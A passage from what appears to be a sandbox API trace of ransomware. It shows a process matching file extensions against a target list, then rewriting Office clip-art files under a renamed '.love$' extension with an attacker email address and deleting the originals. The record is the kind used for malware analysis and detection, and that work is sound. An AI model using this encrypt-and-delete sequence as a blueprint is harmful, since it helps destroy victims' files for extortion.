returned 4 [0249.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.268] lstrlenW (lpString=".rar") returned 4 [0249.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.268] lstrlenW (lpString=".bz2") returned 4 [0249.269] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.269] lstrlenW (lpString=".7z") returned 3 [0249.269] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0249.269] lstrlenW (lpString=".dbf") returned 4 [0249.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0249.269] lstrlenW (lpString=".1cd") returned 4 [0249.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0249.269] lstrlenW (lpString=".jpg") returned 4 [0249.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.269] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0249.269] lstrlenW (lpString="FD00438_.WMF") returned 12 [0249.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0249.270] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=5098) returned 1 [0249.270] CloseHandle (hObject=0x488) returned 1 [0249.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x220 [0249.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0249.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0249.271] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.271] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0249.272] GetLastError () returned 0x0 [0249.272] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x13ea, lpOverlapped=0x0) returned 1 [0249.297] WriteFile (in: hFile=0x4e4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x13f0, lpOverlapped=0x0) returned 1 [0249.298] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0249.298] WriteFile (in: hFile=0x4e4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0249.298] SetEndOfFile (hFile=0x4e4) returned 1 [0249.299] CloseHandle (hObject=0x4e4) returned 1 [0249.299] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.299] SetEndOfFile (hFile=0x488) returned 1 [0249.301] CloseHandle (hObject=0x488) returned 1 [0249.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 1 [0249.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0249.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0249.832] lstrlenW (lpString=".doc") returned 4 [0249.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.832] lstrlenW (lpString=".docx") returned 5 [0249.832] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.832] lstrlenW (lpString=".pdf") returned 4 [0249.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.832] lstrlenW (lpString=".xls") returned 4 [0249.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.832] lstrlenW (lpString=".xlsx") returned 5 [0249.832] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.832] lstrlenW (lpString=".ppt") returned 4 [0249.832] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0249.832] lstrlenW (lpString=".zip") returned 4 [0249.832] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.832] lstrlenW (lpString=".rar") returned 4 [0249.832] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.832] lstrlenW (lpString=".bz2") returned 4 [0249.832] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.832] lstrlenW (lpString=".7z") returned 3 [0249.832] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0249.833] lstrlenW (lpString=".dbf") returned 4 [0249.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0249.833] lstrlenW (lpString=".1cd") returned 4 [0249.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0249.833] lstrlenW (lpString=".jpg") returned 4 [0249.833] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0249.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0249.833] lstrlenW (lpString=".doc") returned 4 [0249.833] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.833] lstrlenW (lpString=".docx") returned 5 [0249.833] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.833] lstrlenW (lpString=".pdf") returned 4 [0249.833] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.833] lstrlenW (lpString=".xls") returned 4 [0249.833] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.833] lstrlenW (lpString=".xlsx") returned 5 [0249.833] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.833] lstrlenW (lpString=".ppt") returned 4 [0249.833] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0249.833] lstrlenW (lpString=".zip") returned 4 [0249.833] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.833] lstrlenW (lpString=".rar") returned 4 [0249.833] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.833] lstrlenW (lpString=".bz2") returned 4 [0249.833] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.833] lstrlenW (lpString=".7z") returned 3 [0249.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0249.833] lstrlenW (lpString=".dbf") returned 4 [0249.834] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0249.834] lstrlenW (lpString=".1cd") returned 4 [0249.834] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0249.834] lstrlenW (lpString=".jpg") returned 4 [0249.834] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.834] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0249.834] lstrlenW (lpString="FD00455_.WMF") returned 12 [0249.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0249.835] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=8926) returned 1 [0249.835] CloseHandle (hObject=0x538) returned 1 [0249.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x220 [0249.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0249.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0249.836] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.836] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0249.837] GetLastError () returned 0x0 [0249.837] ReadFile (in: hFile=0x538, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x22de, lpOverlapped=0x0) returned 1 [0249.840] WriteFile (in: hFile=0x548, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x22e0, lpOverlapped=0x0) returned 1 [0249.841] ReadFile (in: hFile=0x538, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0249.841] WriteFile (in: hFile=0x548, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0249.841] SetEndOfFile (hFile=0x548) returned 1 [0249.841] CloseHandle (hObject=0x548) returned 1 [0249.841] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.841] SetEndOfFile (hFile=0x538) returned 1 [0249.844] CloseHandle (hObject=0x538) returned 1 [0249.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.845] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 1 [0249.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0249.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0249.846] lstrlenW (lpString=".doc") returned 4 [0249.846] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.846] lstrlenW (lpString=".docx") returned 5 [0249.846] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.846] lstrlenW (lpString=".pdf") returned 4 [0249.846] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.846] lstrlenW (lpString=".xls") returned 4 [0249.846] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.846] lstrlenW (lpString=".xlsx") returned 5 [0249.846] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.846] lstrlenW (lpString=".ppt") returned 4 [0249.846] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0249.846] lstrlenW (lpString=".zip") returned 4 [0249.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.846] lstrlenW (lpString=".rar") returned 4 [0249.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.846] lstrlenW (lpString=".bz2") returned 4 [0249.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.847] lstrlenW (lpString=".7z") returned 3 [0249.847] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0249.847] lstrlenW (lpString=".dbf") returned 4 [0249.847] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0249.847] lstrlenW (lpString=".1cd") returned 4 [0249.847] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0249.847] lstrlenW (lpString=".jpg") returned 4 [0249.847] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0249.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0249.847] lstrlenW (lpString=".doc") returned 4 [0249.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.847] lstrlenW (lpString=".docx") returned 5 [0249.847] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.847] lstrlenW (lpString=".pdf") returned 4 [0249.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.847] lstrlenW (lpString=".xls") returned 4 [0249.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.847] lstrlenW (lpString=".xlsx") returned 5 [0249.847] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.847] lstrlenW (lpString=".ppt") returned 4 [0249.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0249.848] lstrlenW (lpString=".zip") returned 4 [0249.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.848] lstrlenW (lpString=".rar") returned 4 [0249.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.848] lstrlenW (lpString=".bz2") returned 4 [0249.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.848] lstrlenW (lpString=".7z") returned 3 [0249.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0249.848] lstrlenW (lpString=".dbf") returned 4 [0249.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0249.848] lstrlenW (lpString=".1cd") returned 4 [0249.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0249.848] lstrlenW (lpString=".jpg") returned 4 [0249.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.848] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0249.848] lstrlenW (lpString="FD00459_.WMF") returned 12 [0249.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0249.849] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=17406) returned 1 [0249.849] CloseHandle (hObject=0x538) returned 1 [0249.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x220 [0249.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0249.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0249.850] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.850] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0249.852] GetLastError () returned 0x0 [0249.852] ReadFile (in: hFile=0x538, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x43fe, lpOverlapped=0x0) returned 1 [0249.854] WriteFile (in: hFile=0x548, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x4400, lpOverlapped=0x0) returned 1 [0249.856] ReadFile (in: hFile=0x538, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0249.856] WriteFile (in: hFile=0x548, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0249.856] SetEndOfFile (hFile=0x548) returned 1 [0249.856] CloseHandle (hObject=0x548) returned 1 [0249.857] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.857] SetEndOfFile (hFile=0x538) returned 1 [0249.860] CloseHandle (hObject=0x538) returned 1 [0249.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.861] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 1 [0249.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0249.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0249.862] lstrlenW (lpString=".doc") returned 4 [0249.862] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.862] lstrlenW (lpString=".docx") returned 5 [0249.862] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.862] lstrlenW (lpString=".pdf") returned 4 [0249.862] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.862] lstrlenW (lpString=".xls") returned 4 [0249.862] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.862] lstrlenW (lpString=".xlsx") returned 5 [0249.862] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.862] lstrlenW (lpString=".ppt") returned 4 [0249.862] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0249.862] lstrlenW (lpString=".zip") returned 4 [0249.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.863] lstrlenW (lpString=".rar") returned 4 [0249.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.863] lstrlenW (lpString=".bz2") returned 4 [0249.863] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.863] lstrlenW (lpString=".7z") returned 3 [0249.863] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0249.863] lstrlenW (lpString=".dbf") returned 4 [0249.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0249.863] lstrlenW (lpString=".1cd") returned 4 [0249.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0249.863] lstrlenW (lpString=".jpg") returned 4 [0249.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0249.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0249.863] lstrlenW (lpString=".doc") returned 4 [0249.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.863] lstrlenW (lpString=".docx") returned 5 [0249.863] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.863] lstrlenW (lpString=".pdf") returned 4 [0249.863] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.863] lstrlenW (lpString=".xls") returned 4 [0249.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.863] lstrlenW (lpString=".xlsx") returned 5 [0249.863] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.863] lstrlenW (lpString=".ppt") returned 4 [0249.863] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0249.864] lstrlenW (lpString=".zip") returned 4 [0249.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.864] lstrlenW (lpString=".rar") returned 4 [0249.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.864] lstrlenW (lpString=".bz2") returned 4 [0249.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.864] lstrlenW (lpString=".7z") returned 3 [0249.864] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0249.864] lstrlenW (lpString=".dbf") returned 